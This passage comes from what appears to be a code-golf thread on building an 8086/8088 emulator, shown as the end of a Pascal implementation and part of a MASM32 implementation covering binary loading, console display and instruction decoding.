c=0 then write(' ') else write(char(c)); end; writeln end end; procedure error(s: string); begin writeln;writeln; writeln('ERROR: ',s); writeln('program aborted'); writeln; writeln('IP=',hexstr(IP,4),' IR=',hexstr(IR,2)); display; halt end; procedure debug(s: string); begin if CallDept < showSub then writeln(s) end; procedure load; // load the codegolf binary at address 0 var f,count: LongInt; begin if not fileExists('codegolf') then error('file "codegolf" doesn''t exist in this directory'); f := fileOpen('codegolf',fmOpenRead); count := fileRead(f,mem,memSize); fileClose(f); if count = -1 then error('Could not read file "codegolf"'); writeln(count, ' bytes read to memory starting at 0'); segEnd := count; writeln end; procedure mon; begin if not (CallDept < showSub) then exit; writeln; writeln('------------- mon -------------'); writeln('IP=',hexstr(IP,4)); writeln('AX=',hexstr(RX[AX],4),' CX=',hexstr(RX[CX],4),' DX=',hexstr(RX[DX],4),' BX=',hexstr(RX[BX],4)); writeln('SP=',hexstr(RX[SP],4),' BP=',hexstr(RX[BP],4),' SI=',hexstr(RX[SI],4),' DI=',hexstr(RX[DI],4)); writeln('C=',FC,' Z=',FZ,' S=',FS); writeln('-------------------------------'); writeln end; // --------------- memory and register access ---------------- // memory should NEVER be accessed direct // in order to intercept memory mapped IO function peek(a:address):byte; begin peek := mem[a] end; procedure poke(a:address;b:byte); begin mem[a]:=b; if not (CallDept < showSub) then exit; case a of $8000..$87CF: begin writeln; writeln('*** a character has been written to the screen ! ***'); writeln('''',chr(b),''' to screenpos ',a-$8000) end end end; function peek2(a:address):word; begin peek2 := peek(a)+peek(a+1)*256 end; procedure poke2(a:address; b:word); begin poke(a,lo(b)); poke(a+1,hi(b)) end; function peekX(a: address): word; begin if w then peekX := peek2(a) else peekX := peek(a) end; function fetch: byte; begin fetch := peek(IP); inc(IP); debug('----fetching '+hexStr(fetch,2)) end; function fetch2: word; begin fetch2 := peek2(IP); inc(IP,2); debug('----fetching '+hexStr(fetch2,4)) end; function getReg(r: oct): byte; begin if r<4 then getReg := lo(RX[r]) else getreg := hi(RX[r-4]) end; function getReg2(r: oct): word; begin getreg2 := RX[r] end; function getRegX(r: oct): word; begin if w then getregX := getReg2(r) else getRegX := getReg(r) end; procedure test_ZS; begin if w then FZ:=ord(oper1.content=0) else FZ:=ord(lo(oper1.content)=0); if w then FS:=ord(oper1.content>=$8000) else FS:=ord(oper1.content>=$80) end; procedure test_CZS; begin test_ZS; if w then FC := ord(T>$FFFF) else FC := ord(T>$FF); end; // -------------- memory mode methods ------------------ procedure modRM; // reads MRM byte // sets mode (=the way rm is exploited) // sets sreg: select general register (in G memory mode) or segment register // sets rm: select general register or memory (in E memory mode) var MrM: byte; begin debug('---executing modRm'); MrM := fetch; mode := MrM >> 6; sreg := (MrM and %00111000) >> 3; rm := MrM and %00000111; debug('------modRm '+hexstr(MrM,2)+' '+binstr(MrM,8)+' '+ 'mode='+hexStr(mode,1)+' sreg='+hexStr(sreg,1)+' rm='+hexStr(rm,1)) end; function mm_G: location; // The reg field of the ModR/M byte selects a general register. var oper: location; begin debug('---executing mm_G'); debug ('*** warning *** check for byte/word operations'); oper.memory := false; oper.aORi := sreg; oper.content := getRegX(sreg); debug('------register '+hexStr(sreg,1)+' read'); mm_G := oper end; function mm_E: location; // A ModR/M byte follows the opcode and specifies the operand. The operand is either a general­ // purpose register or a memory address. If it is a memory address, the address is computed from a // segment register and any of the following values: a base register, an index register, a displacement. var oper: location; begin debug('---executing mm_E'); case mode of 0: begin oper.memory := true; case rm of 1: begin oper.aORi:= RX[BX]+RX[DI]; oper.content := peekX(oper.aORi); end; 6: begin //direct addressing oper.aORi := fetch2; oper.content := peekX(oper.aORi); debug('----------direct addressing'); debug('----------address='+hexstr(oper.aORi,4)); debug('----------value='+hexStr(oper.content,4)) end; 7: begin oper.aORi := RX[BX]; oper.content := peekX(oper.aORi) end; else error('mode=0, rm value not yet implemented') end end; // 1: + 8 bit signed displacement 2: begin oper.memory := true; case rm of 5: begin oper.aORi := RX[DI]+fetch2; //16 unsigned displacement oper.content := peekX(oper.aORi) end; 7: begin oper.aORi := RX[BX]+fetch2; //16 unsigned displacement oper.content := peekX(oper.aORi) end else error('mode=2, rm value not yet implemented') end end; 3: begin oper.memory := false; oper.aORi := rm; oper.content := getRegX(rm); debug('------register '+hexStr(rm,1)+' read'); end; else error('mode '+intToStr(mode)+' of Ew not yet implemented') end; mm_E := oper end; function mm_I: location; begin debug('---executing mm_I'); if w then if d=0 then mm_I.content := fetch2 else mm_I.content := int8(fetch) else mm_I.content := fetch; debug('------imm val read is '+hexStr(mm_I.content,4)) end; procedure mm_EI; // E should be called before I since immediate data comes last begin modRM; oper1 := mm_E; oper2 := mm_I; end; procedure mm_EG; begin modRM; if d=0 then begin oper1 := mm_E; oper2 := mm_G end else begin oper1 := mm_G; oper2 := mm_E end; end; procedure mm_AI; begin oper1.memory := false; oper1.aORi := 0; oper1.content := getRegX(0); debug('----------address='+hexstr(oper1.aORi,4)); debug('----------value='+hexStr(oper1.content,4)); oper2 := mm_I end; procedure writeback; begin with oper1 do begin debug('--executing writeBack'); debug(hexStr(ord(memory),1)); debug(hexStr(aORi,4)); debug(hexStr(content,4)); if w then if memory then poke2(aORi,content) else RX[aORi]:=content else if memory then poke(aORi,content) else if aORi<4 then RX[aORi] := hi(RX[aORi])*256+content else RX[aORi-4] := content*256+lo(RX[aORi-4]) end end; // -------------------------- instructions ------------------- procedure i_Jcond; // fetch next byte // if condition ok then add to IP as two's complement var b: byte; cc: 0..$F; begin debug('--executing Jcond'); b := fetch; cc := IR and %1111; case cc of 2:if FC=1 then IP := IP + int8(b); //JB, JC 4:if FZ=1 then IP := IP + int8(b); //JZ 5:if FZ=0 then IP := IP + int8(b); //JNZ 6:if (FC=1) or (FZ=1) then IP := IP + int8(b); //JBE 7:if (FC=0) and (FZ=0) then IP := IP + int8(b); // JA, JNBE 9:if FS=0 then IP := IP + int8(b); //JNS else error('JCond not implemented for condition '+hexstr(cc,1)) end end; procedure i_HLT; begin debug('--executing HLT'); writeln;writeln('*** program terminated by HLT instruction ***'); writeln('--- In the ''codegolf'' program this probably means'); writeln('--- there is some logical error in the emulator'); writeln('--- or the program reached the end without error'); writeln('bye'); display; halt end; procedure i_MOV; begin debug('--executing MOV EG'); debug('------'+hexStr(oper1.aORi,4)+' '+hexStr(oper1.content,4)); debug('------'+hexStr(oper2.aORi,4)+' '+hexStr(oper2.content,4)); oper1.content := oper2.content; debug('------'+hexStr(oper1.aORi,4)+' '+hexStr(oper1.content,4)); writeBack end; procedure i_XCHG; var T: word; begin debug('--executing XCHG EG'); T := oper1.content; oper1.content := oper2.content; oper2.content := T; writeback; oper1 := oper2; writeback end; procedure i_XCHG_RX_AX; var T: word; begin debug('--executing XCHG RX AX'); T := RX[AX]; RX[AX] := RX[IR and %111]; RX[IR and %111] := T end; procedure i_MOV_RX_Iw; begin debug('--executing MOV Rw ,Iw'); RX[IR and %111] := fetch2 end; procedure i_MOV_R8_Ib; var r: oct; b: byte; begin debug('--executing MOV Rb ,Ib'); b := fetch; r := IR and %111; if r<4 then RX[r] := hi(RX[r])*256+b else RX[r-4] := b*256+lo(RX[r-4]) end; procedure i_PUSH_RX; begin debug('--executing PUSH RX'); dec(RX[SP],2); //SP:=SP-2 poke2(RX[SP],RX[IR and %111]) //poke(SP,RX) end; procedure i_POP_RX; begin debug('--executing POP RX'); RX[IR and %111] := peek2(RX[SP]); //RX := peek(SP) inc(RX[SP],2); //SP:=SP+2 end; procedure i_JMP_Jb; var b: byte; begin debug('--executing JMP Jb'); b := fetch; IP:=IP+int8(b) end; procedure i_CALL_Jv; var w: word; begin debug('--executing CALL Jv'); w := fetch2; dec(RX[SP],2); //SP:=SP-2 poke2(RX[SP],IP); IP:=IP+int16(w); inc(calldept) end; procedure i_RET; begin debug('--executing RET'); IP := peek2(RX[SP]); inc(RX[SP],2); //SP:=SP+2 dec(calldept) end; procedure i_XOR; begin debug('--executing XOR'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); oper1.content:=oper1.content xor oper2.content; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_ZS; FC:=0; writeback end; procedure i_OR; begin debug('--executing OR'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); oper1.content:=oper1.content or oper2.content; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_ZS; FC:=0; writeback end; procedure i_AND; begin debug('--executing AND'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); oper1.content:=oper1.content and oper2.content; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_ZS; FC:=0; writeback end; procedure i_ADD; begin debug('--executing ADD'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); T := oper1.content + oper2.content; oper1.content := T; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_CZS; writeback end; procedure i_ADC; begin debug('--executing ADC'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); T := oper1.content + oper2.content + FC; oper1.content := T; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_CZS; writeback end; procedure i_SUB; begin debug('--executing SUB'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); T := oper1.content - oper2.content; oper1.content := T; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_CZS; writeback end; procedure i_SBB; begin debug('--executing SBB'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); T := oper1.content - oper2.content - FC; oper1.content := T; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_CZS; writeback end; procedure i_CMP; begin debug('--executing CMP'); T:=oper1.content-oper2.content; oper1.content:=T; debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_CZS; end; procedure i_INC; begin debug('--executing INC'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); inc(oper1.content); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_ZS; // FC unchanged writeback end; procedure i_DEC; begin debug('--executing DEC'); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); dec(oper1.content); debug('------'+hexStr(oper1.content,4)+' '+hexStr(oper2.content,4)); test_ZS; // FC unchanged writeback end; procedure i_INC_RX; var r: oct; begin debug('--executing INC RX'); r := IR and %111; inc(RX[r]); FZ:=ord(RX[r]=0); FS:=ord(RX[r]>=$8000) // FC unchanged end; procedure i_DEC_RX; var r: oct; begin debug('--executing DEC RX'); r := IR and %111; dec(RX[r]); FZ:=ord(RX[r]=0); FS:=ord(RX[r]>=$8000) // FC unchanged end; // ------------------ special instructions -------------- procedure GRP1; // GRP1 instructions use modRM byte // sreg selects instruction // one operand selected by rm in mm_E // other operand is Immediate: begin debug('-executing GRP1'); case sreg of 0:i_ADD; 1:i_OR; 2:i_ADC; 4:i_AND; 5:i_SUB; 7:i_CMP; else error('subInstruction GRP1 number '+intToStr(sreg)+' is not yet implemented') end end; procedure GRP4; begin debug('-executing GRP4 Eb'); modRM; oper1 := mm_E; case sreg of 0:i_INC; 1:i_DEC; else error('subInstruction GRP4 number '+intToStr(sreg)+' is not yet implemented') end end; begin //main writeln('+-----------------------------------------------+'); writeln('| emulator for 8086/8088 subset as requested in |'); writeln('| codegolf challenge |'); writeln('| (c)2019 by ir. Marc Dendooven |'); writeln('| V0.2 DEV |'); writeln('+-----------------------------------------------+'); writeln; load; IP := 0; RX[SP] := $100; while IP < segEnd do begin //fetch execute loop mon; IR := fetch; // IR := peek(IP); inc(IP) inc(cnt); debug(intToStr(cnt)+'> fetching instruction '+hexstr(IR,2)+' at '+hexstr(IP-1,4)); w := boolean(IR and %1); d := (IR and %10) >> 1; case IR of $00..$03: begin mm_EG; i_ADD end; $04,$05: begin mm_AI; i_ADD end; $08..$0B: begin mm_EG; i_OR end; $18..$1B: begin mm_EG; i_SBB end; $20..$23: begin mm_EG; i_AND end; $28..$2B: begin mm_EG; i_SUB end; $30..$33: begin mm_EG; i_XOR end; $38..$3B: begin mm_EG; i_CMP end; $3C,$3D: begin mm_AI; i_CMP end; //error('$3C - CMP AL Ib - nyi'); $40..$47: i_INC_RX; $48..$4F: i_DEC_RX; $50..$57: i_PUSH_RX; $58..$5F: i_POP_RX; $72,$74,$75,$76,$77,$79: i_Jcond; // $70..7F has same format with other flags $80..$83: begin mm_EI; GRP1 end; $86..$87: begin mm_EG; i_XCHG end; $88..$8B: begin mm_EG; i_MOV end; $90: debug('--NOP'); $91..$97: i_XCHG_RX_AX; $B0..$B7: i_MOV_R8_Ib; $B8..$BF: i_MOV_RX_Iw; $C3: i_RET; $C6,$C7: begin d := 0; mm_EI; i_MOV end; //d is not used as s here... set to 0 $E8: i_CALL_Jv; $EB: i_JMP_Jb; $F4: i_HLT; $F9: begin debug('--executing STC');FC := 1 end; $FE: GRP4; else error('instruction is not yet implemented') end end; writeln; error('debug - trying to execute outside codesegment') end. ``` [Answer] # MASM32, 1063+104+35=1202 lines Actually done as a project for my assembly course at my college... We modified the video memory layout slightly so it reflects that of a real 8086 machine from the good old days, i.e. video memory starting at 0xb8000, and contains an extra byte per character for foreground / background color. Don't know if it's short enough to meet the needs of an answer, since I'm new to codegolf... But anyway, I find it somewhat gripping to code an emulator of 8086 with, ..., x86 assembly itself! Take a look at the results below. ![test](https://github.com/panda2134/8086/raw/master/docs/test.png) ![color](https://github.com/panda2134/8086/raw/master/docs/color.png) Here goes the code. The code is also available at [GitHub](https://github.com/panda2134/8086). **binloader.asm** ``` ; we assume that the memory is of 1MB size, and code should be loaded at 7c0:0 ; that is different from real 8086s which boot up from ffff:0 ; however 7c0:0 is more convenient for our test binary ; time permitted, we might switch to ffff:0 and code a small bios LoadBinaryIntoEmulator PROC USES ebx esi, mem:ptr byte, lpFileName:ptr byte LOCAL hFile:dword, numBytesRead:dword, fileSize:dword, mbrAddr:ptr dword MBR_SIZE equ 512 mov numBytesRead, 0 INVOKE CreateFileA, lpFileName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 cmp eax, INVALID_HANDLE_VALUE je loadbin_error_ret mov hFile, eax INVOKE GetFileSize, hFile, 0 cmp eax, 512 jb loadbin_file_small mov eax, 512 loadbin_file_small: mov fileSize, eax mov ecx, mem add ecx, 7c00h mov mbrAddr, ecx INVOKE ReadFile, hFile, ecx, fileSize, ADDR numBytesRead, 0 ; read file to 7c00h test eax, eax jz loadbin_error_ret mov ecx, mbrAddr cmp dword ptr [ecx + 510], 0aa55h ; check for mbr flag jne loadbin_error_ret ; error if no flag detected mov eax, 0 ; success ret loadbin_error_ret: mov eax, 1 ret LoadBinaryIntoEmulator ENDP ``` **term.asm** ``` IFNDEF TERM_INC TERM_INC equ <1> InitEmuScreen PROC ; call this only once to initialize the emulator screen LOCAL hCon:dword, hWin:dword, termSize:COORD, rect:SMALL_RECT, cursorInfo:CONSOLE_CURSOR_INFO INVOKE GetStdHandle, STD_OUTPUT_HANDLE mov hCon, eax mov rect.Left, 0 mov rect.Top, 0 mov rect.Right, 80-1 mov rect.Bottom, 28 INVOKE SetConsoleWindowInfo, hCon, 1, ADDR rect ; set the size of display area mov termSize.x, 80 mov termSize.y, 29 ; 25 lines for output, 2 lines for status, 1 line empty INVOKE SetConsoleScreenBufferSize, hCon, dword ptr termSize ; set the size of buffer (1 extra line) INVOKE GetConsoleWindow mov hWin, eax INVOKE GetWindowLong, hWin, GWL_STYLE mov ecx, WS_MAXIMIZEBOX not ecx and eax, ecx mov ecx, WS_MINIMIZEBOX not ecx and eax, ecx mov ecx, WS_SIZEBOX not ecx and eax, ecx ; eax := eax & ~WS_MAXIMIZEBOX & ~WS_SIZEBOX & ~WS_MINIMIZEBOX INVOKE SetWindowLong, hWin, GWL_STYLE, eax mov [cursorInfo.dwSize], 1 mov [cursorInfo.bVisible], 0 INVOKE SetConsoleCursorInfo, hCon, ADDR cursorInfo ret InitEmuScreen ENDP WriteEmuScreen PROC USES ebx esi, mem:ptr byte ; update the emulator screen with memory starting from b800:0 LOCAL hCon:dword, termCoord:COORD, textAttr:dword count equ 80*25 mov esi, mem INVOKE GetStdHandle, STD_OUTPUT_HANDLE mov hCon, eax mov ecx, 0 _loop: cmp ecx, count jge _loop_end mov edx, ecx shr edx, 16 movzx eax, cx ; prepare ecx in dx:ax mov bx, 80 ; divide by 80 to get num of lines div bx mov [termCoord.y], ax mov [termCoord.x], dx push ecx INVOKE SetConsoleCursorPosition, hCon, dword ptr termCoord ; move cursor to termCoord movzx ecx, byte ptr [esi+1] mov textAttr, ecx INVOKE SetConsoleTextAttribute, hCon, textAttr ; set color attrs, etc. INVOKE WriteConsoleA, hCon, esi, 1, 0, 0 ; put one char pop ecx add esi, 2 inc ecx jmp _loop _loop_end: INVOKE SetConsoleCursorPosition, hCon, 0 INVOKE SetConsoleTextAttribute, hCon, 0 ; not visible mov eax, 0 ret WriteEmuScreen ENDP loadStatusColor MACRO colorType IFIDN <colorType>, <running> mov eax, BACKGROUND_GREEN or eax, BACKGROUND_INTENSITY EXITM ENDIF IFIDN <colorType>, <paused> mov eax, BACKGROUND_GREEN or eax, BACKGROUND_RED or eax, BACKGROUND_INTENSITY EXITM ENDIF echo Error: Unknown status ENDM WriteStatusLine PROC statusLine1:ptr byte, statusLine2:ptr byte, textAttr:dword ; suppose that both lines are 80 chars LOCAL hCon:dword, termCoord:COORD INVOKE GetStdHandle, STD_OUTPUT_HANDLE mov hCon, eax INVOKE SetConsoleTextAttribute, hCon, textAttr mov [termCoord.x], 0 mov [termCoord.y], 26 ; second last line INVOKE SetConsoleCursorPosition, hCon, dword ptr termCoord INVOKE WriteConsoleA, hCon, statusLine1, 80, 0, 0 add [termCoord.y], 1 INVOKE SetConsoleCursorPosition, hCon, dword ptr termCoord INVOKE WriteConsoleA, hCon, statusLine2, 80, 0, 0 INVOKE SetConsoleCursorPosition, hCon, 0 INVOKE SetConsoleTextAttribute, hCon, 0 ; not visible ret WriteStatusLine ENDP ENDIF ``` **emulator.asm** ``` .686 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc include msvcrt.inc includelib user32.lib includelib kernel32.lib includelib msvcrt.lib printf PROTO C :ptr byte, :VARARG .data floppyPath byte "./floppy.img", 0 haltMsgTitle byte "Halted", 0 haltMsg byte "HLT is executed; since interrupt is not supported, the emulator will now exit.", 0 UDMsgTitle byte "Undefined Instruction", 0 UDMsg byte "Encountered an undefined instruction. (#UD)", 0 debugMsg byte "%d %d %d %d", 0AH, 0DH, 0 invalidOpMsg byte "Invalid Operation!", 0Dh, 0Ah, 0 statusRunning byte "Running", 0 statusPaused byte "Paused", ' ', 0 statusLineFmt1 byte "%s ", 9 dup(' '), "AX=%04X CX=%04X DX=%04X BX=%04X SP=%04X BP=%04X SI=%04X DI=%04X", 0 statusLineFmt2 byte "any key = step, c = continue", 4 dup(' '), "IP=%04X FLAGS=%02X ES=%04X CS=%04X SS=%04X DS=%04X", 0 lineBuf1 byte 128 dup(?) lineBuf2 byte 128 dup(?) running byte 0 REGB label byte REGW label word R_AL label byte R_AX word 0 R_CX word 0 R_DX word 0 R_BX word 0 R_SP word 0 R_BP word 0 R_SI word 0 R_DI word 0 REGS label word R_ES word 0 R_CS word 0 ; mbr R_SS word 0 R_DS word 0 R_FLAGS byte 0 R_IP word 7c00H MEMO_Guard byte 00FFH statusTextAttr dword 0 screenRefreshCounter word 0 .data? MEMO byte 1048576 DUP(?) .code ; mod[2] xxx r/m[3] passed by ah, start of instruction(host) passed by ebx ; when r/m is reg, need to pass word/byte in lowest bit of al ; not modify al, ah and ebx ; effective address(host) returned by edx, ; end of displacement field(host) returned by esi computeEffectiveAddress MACRO LeaveLabel, DisableFallThroughLeave, SegmentType ; MACRO local label LOCAL NoDisplacement, MOD123, MOD23, RM_Decode, RM_Is1XX, RM_Is11X, AddDisplacment, MOD3, RM_IsWordReg ; ah already = mod[2] reg[3] r/m[3] or mod[2] op[3] r/m[3] mov cl, ah shr cl, 6; mod jnz MOD123 ; mod = 00 mov cl, ah ; mod[2] reg[3] r/m[3] and cl, 0111b ; r/m[3] cmp cl, 0110b ; check special case jne NoDisplacement ; r/m = 110 special case, 16bit displacement only movzx edi, word ptr [ebx + 2] lea esi, [ebx + 4] ; end of displacement field(host) xor edx, edx ; clear edx for displacement only jmp AddDisplacment NoDisplacement: xor edi, edi ; common case, no displacement lea esi, [ebx + 2] ; end of displacement field(host) jmp RM_Decode MOD123: cmp cl, 1 jne MOD23 ; mod = 01 movzx edi, byte ptr [ebx + 2] ; 8bit displacement lea esi, [ebx + 3] ; end of displacement field(host) jmp RM_Decode MOD23: cmp cl, 2 jne MOD3 ; mod = 10 movzx edi, word ptr [ebx + 2] ; 16bit displacement lea esi, [ebx + 4] ; end of displacement field(host) ; fall-through RM_Decode: ; displacement in edi movzx ecx, ah ; mod[2] reg[3] r/m[3] test ecx, 0100b jnz RM_Is1XX ; r/m = 0,b,i and ecx, 0010b ; Base = b ? BP : BX, R_BP = R_BX + 4 movzx edx, word ptr R_BX[ecx * 2] ; actually word ptr is not needed movzx ecx, ah ; mod[2] reg[3] r/m[3] and ecx, 0001b ; Index = i ? DI : SI, R_DI = R_SI + 4 movzx ecx, word ptr R_SI[ecx * 2] add edx, ecx jmp AddDisplacment RM_Is1XX: test ecx, 0010b jnz RM_Is11X ; r/m = 1,0,i and ecx, 0001b ; Index = i ? DI : SI, R_DI = R_SI + 4 movzx edx, word ptr R_SI[ecx * 2] jmp AddDisplacment RM_Is11X: ; r/m = 1,1,~b and ecx, 0001b ; Base = b ? BP : BX, R_BP = R_BX + 4 xor ecx, 1 movzx edx, word ptr R_BX[ecx * 4] ; fall-through AddDisplacment: add edx, edi ; effective address(virtual) now in edx ; now edi free movzx ecx, SegmentType shl ecx, 4 lea edx, MEMO[edx + ecx] ; effective address(host) jmp LeaveLabel MOD3: ; r/m = register lea esi, [ebx + 2] ; end of displacement(host) (No Displacement) movzx ecx, ah ; mod[2] reg[3] r/m[3], moved before jump to reuse code test al, 0001b ; first byte still in al, decide 16bit or 8bit register jnz RM_IsWordReg ; 8bit register and ecx, 0011b lea edx, REGB[ecx * 2] ; ACDB movzx ecx, ah and ecx, 0100b ; 0 -> L, 1 -> H shr ecx, 2 add edx, ecx ; register host address now in edx jmp LeaveLabel RM_IsWordReg: ; 16bit register and ecx, 0111b lea edx, REGW[ecx * 2] ; register host address now in edx ; fall-through IF DisableFallThroughLeave jmp LeaveLabel ENDIF ENDM ; ebx is flat addr in host machine computeFlatIP MACRO movzx eax, R_CS shl eax, 4 movzx ebx, R_IP lea ebx, MEMO[ebx + eax] ENDM ; use ah modifyFlagsInstruction MACRO instruction mov ah, R_FLAGS sahf instruction lahf mov R_FLAGS, ah ENDM ; error case return address passed by ecx ; success will use ret ; flat ip in ebx ArithLogic PROC movzx eax, word ptr [ebx]; read 2 bytes at once for later use, may exceed 1M, but we are in a emulator test eax, 11000100b ; only test low byte -- the first byte jz RegWithRegOrMem; must be 00xxx0xx, No Imm Op test eax, 01111100b jz ImmWithRegOrMem; must be 100000xx(with test 11000100b not zero), Imm to reg/mem test eax, 11000010b jz ImmToAcc; must be 00xxx10x(with test 11000100b not zero), Imm to accumulator Op jmp ecx; Other Instructions ImmToAcc: xor ecx, ecx test al, 0001b setnz cl lea edx, [R_AX] ; dest addr lea esi, [ebx + 1] ; src addr lea edi, [ecx + 2] ; delta ip ; now ebx free movzx ebx, al ; first byte contains op[3] jmp Operand ImmWithRegOrMem: RegWithRegOrMem: computeEffectiveAddress SrcIsRegOrImm, 0, R_DS SrcIsRegOrImm: ; not real src, d[1] decide real src mov edi, esi ; copy "end of displacement(host)" for delta ip sub edi, ebx ; compute delta ip, not yet count imm data, will be handled in SrcIsImm ; now ebx free test al, 10000000b ; first byte still in al jnz SrcIsImm ; Not Imm, Use Reg movzx ebx, al ; first byte contains op[3] shr ah, 2 ; not fully shift to eliminate index scaling movzx ecx, ah ; 00 mod[2] reg[3] x, moved before jump to reuse code test al, 0001b ; decide 16bit or 8bit register jnz REG_IsWordReg ; 8bit register and ecx, 0110b ; ecx = 00 mod[2] reg[3] x ; 0,2,4,6 -> ACDB movzx ebx, ah and ebx, 1000b ; 0 -> L, 1 -> H shr ebx, 3 lea esi, REGB[ecx + ebx] ; reg register host address now in esi jmp SRC_DEST ; first byte still in al REG_IsWordReg: ; 16bit register and ecx, 1110b lea esi, REGW[ecx] ; reg register host address now in esi jmp SRC_DEST ; first byte still in al SrcIsImm: movzx ebx, ah ; second byte contains op[3] ; compute delta ip xor ecx, ecx cmp al, 10000001b ; 100000 s[1] w[1], 00: +1, 01: +2, 10: +1, 11: +1 sete cl lea edi, [edi + 1 + ecx] ; delta ip in edi ; imm data host address(end of displacement) already in esi jmp SRC_DEST ; first byte still in al SRC_DEST: ; first byte still in al test al, 10000000b; jnz Operand ; Imm to r/m, no need to exchange test al, 0010b; d[1] or s[1] (Imm to r/m case) jz Operand ; d = 0 no need to exchange xchg esi, edx ; put src in esi and dest in edx, for sub/sbb/cmp and write back ; fall-through Operand: ; first byte still in al test al, 0001b ; decide 8bit or 16bit operand jnz OperandW ; word operand ; use 8bit partial reg for convenience ; generally that will be slower because of partial register stalls ; fortunately we don't need to read from cx or ecx, actually no stall occur mov cl, byte ptr [esi] ; src operand and ebx, 00111000b ; xx op[3] xxx, select bits, clear others ; Not shift, eliminate index * 8 for OpTable jmp dword ptr [OpTable + ebx] OperandW: ; first byte still in al test al, 10000000b jz NotSignExt ; Not Imm to r/m test al, 0010b; s[1] jz NotSignExt movsx cx, byte ptr [esi] ; src operand, sign ext jmp OperandWExec NotSignExt: mov cx, word ptr [esi] ; src operand ; fall-through OperandWExec: and ebx, 00111000b ; xx op[3] xxx, select bits, clear others ; Not shift, eliminate index * 8 for OpTable jmp dword ptr [OpTable + 4 + ebx] OpTable: ; could store diff to some near Anchor(e.g. OpTable) to save space ; but we use a straightforward method dword B_ADD, W_ADD dword B_OR, W_OR dword B_ADC, W_ADC dword B_SBB, W_SBB dword B_AND, W_AND dword B_SUB, W_SUB dword B_XOR, W_XOR dword B_CMP, W_CMP ByteOp: B_CMP: cmp byte ptr [edx], cl jmp WriteFlags B_XOR: xor byte ptr [edx], cl jmp WriteFlags B_SUB: sub byte ptr [edx], cl jmp WriteFlags B_AND: and byte ptr [edx], cl jmp WriteFlags B_SBB: mov ah, R_FLAGS sahf sbb byte ptr [edx], cl jmp WriteFlags B_ADC: mov ah, R_FLAGS sahf adc byte ptr [edx], cl jmp WriteFlags B_OR: or byte ptr [edx], cl jmp WriteFlags B_ADD: add byte ptr [edx], cl jmp WriteFlags WordOp: W_CMP: cmp word ptr [edx], cx jmp WriteFlags W_XOR: xor word ptr [edx], cx jmp WriteFlags W_SUB: sub word ptr [edx], cx jmp WriteFlags W_AND: and word ptr [edx], cx jmp WriteFlags W_SBB: mov ah, R_FLAGS sahf sbb word ptr [edx], cx jmp WriteFlags W_ADC: mov ah, R_FLAGS sahf adc word ptr [edx], cx jmp WriteFlags W_OR: or word ptr [edx], cx jmp WriteFlags W_ADD: add word ptr [edx], cx ; fall-through WriteFlags: lahf ; load flags into ah mov R_FLAGS, ah add R_IP, di ret ArithLogic ENDP Arith_INC_DEC PROC ; note: inc and dec is partial flags writer we need to load flags before inc or dec movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator xor al, 01000000b test al, 11110000b ; high 4 0100 jz RegOnly xor al, 10111110b ; equiv to xor 11111110 at once test al, 11111110b jz RegOrMem jmp ecx RegOnly: add R_IP, 1 ; 1byte long movzx ebx, al test al, 00001000b jnz RegOnlyDEC ; other bits in eax already clear ; INC ; note: load flags use ah modifyFlagsInstruction <inc word ptr REGW[ebx * 2]> ret RegOnlyDEC: modifyFlagsInstruction <dec word ptr REGW[ebx * 2 - 16]> ; 1 reg[3], *2 - 16 ret RegOrMem: test ah, 00110000b jz Match jmp ecx ; other instructions Match: ; note: al lowest bit already w[1] computeEffectiveAddress INC_DEC_ComputeEA_Done, 0, R_DS INC_DEC_ComputeEA_Done: sub esi, ebx add R_IP, si test ah, 00001000b jnz RegOrMemDEC ; INC test al, 0001b jnz WordINC ; byte INC modifyFlagsInstruction <inc byte ptr [edx]> ret WordINC: modifyFlagsInstruction <inc word ptr [edx]> ret RegOrMemDEC: test al, 0001b jnz WordDEC ; byte DEC modifyFlagsInstruction <dec byte ptr [edx]> ret WordDEC: modifyFlagsInstruction <dec word ptr [edx]> ret Arith_INC_DEC ENDP ; uses ah GenerateJmpConditional MACRO jmp_cc movsx di, ah mov ah, R_FLAGS sahf jmp_cc Jmp_Short_Rel8_Inner add R_IP, 2 ; instruction length = 2 bytes ret ENDM ; flat ip in ebx ; NOTE: cs can be changed! ; error case return address passed by ecx ; success will use ret ControlTransfer PROC movzx eax, word ptr [ebx] ; read 2 byte at once, may exceed 1M, but we are in a emulator cmp al, 0E8h ; parse instruction type je Call_Direct_Near cmp al, 09Ah je Call_Direct_Far cmp al, 0FFh je Call_Jmp_Indirect cmp al, 0EBh je Jmp_Short_Rel8 cmp al, 0E9h je Jmp_Near_Rel16 cmp al, 0EAh je Jmp_Direct_Far FOR x, <70h,71h,72h,73h,74h,75h,76h,77h,78h,79h,7ah,7bh,7ch,7dh,7eh,7fh> ; conditional jmp cmp al, x je Jmp&x ENDM movzx edi, word ptr [ebx + 1] ; pop imm16 bytes cmp al, 0C2h je Ret_Near cmp al, 0CAh ; edi already load je Ret_Far xor edi, edi ; pop 0 byte cmp al, 0C3h je Ret_Near cmp al, 0CBh ; edi already clear je 